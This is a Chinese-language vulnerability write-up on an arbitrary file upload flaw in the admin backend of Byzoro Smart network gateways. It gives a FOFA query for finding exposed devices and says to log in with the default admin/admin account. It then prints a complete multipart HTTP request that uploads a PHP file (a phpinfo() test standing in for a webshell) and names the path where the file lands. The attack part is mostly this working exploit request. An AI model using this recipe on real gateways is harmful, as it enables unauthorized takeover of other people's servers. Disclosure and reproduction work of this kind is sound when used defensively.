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72 lines
2.6 KiB
Markdown
72 lines
2.6 KiB
Markdown
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# 百卓Smart后台任意文件上传漏洞
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# 一、漏洞简介
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百卓Smart是一种系列品牌上网行为管理设备，多种应用功能集于一身，包括网络应用封堵、流量控制、链路负载均衡、网页分类阻断、上网内容审计、防火墙、VPN等。该网关后台存在任意文件上传漏洞，攻击者可通过该漏洞获取服务器控制权限。
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# 二、影响版本
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+ 百卓Smart
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# 三、资产测绘
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+ fofa`app="byzoro-Smart"`
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+ 特征
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# 四、漏洞复现
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1. 使用默认账号`admin/admin`登录后台，获取登录后的`cookie`
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2. 使用上一步获取的cookie替换上传webshell
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```plain
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POST /useratte/web.php? HTTP/1.1
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Host: xx.xx.xx.xx
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Cookie: PHPSESSID=6fca23a63591d8742708a4c50308f150
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User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
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Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
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Accept-Encoding: gzip, deflate
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Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
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Content-Length: 611
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Upgrade-Insecure-Requests: 1
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Sec-Fetch-Dest: document
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Sec-Fetch-Mode: navigate
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Sec-Fetch-Site: same-origin
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Sec-Fetch-User: ?1
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Te: trailers
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Connection: close
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-----------------------------42328904123665875270630079328
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Content-Disposition: form-data; name="file_upload"; filename="2.php"
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Content-Type: application/octet-stream
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<?php phpinfo(); ?>
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-----------------------------42328904123665875270630079328
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Content-Disposition: form-data; name="id_type"
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1
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-----------------------------42328904123665875270630079328
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Content-Disposition: form-data; name="1_ck"
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1_radhttp
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-----------------------------42328904123665875270630079328
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Content-Disposition: form-data; name="mode"
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import
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-----------------------------42328904123665875270630079328
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```
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3. 上传文件位置
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```plain
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/upload/2.php
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```
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> 更新: 2024-02-29 23:57:13
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> 原文: <https://www.yuque.com/xiaokp7/ocvun2/znskqftupnfub0ea>
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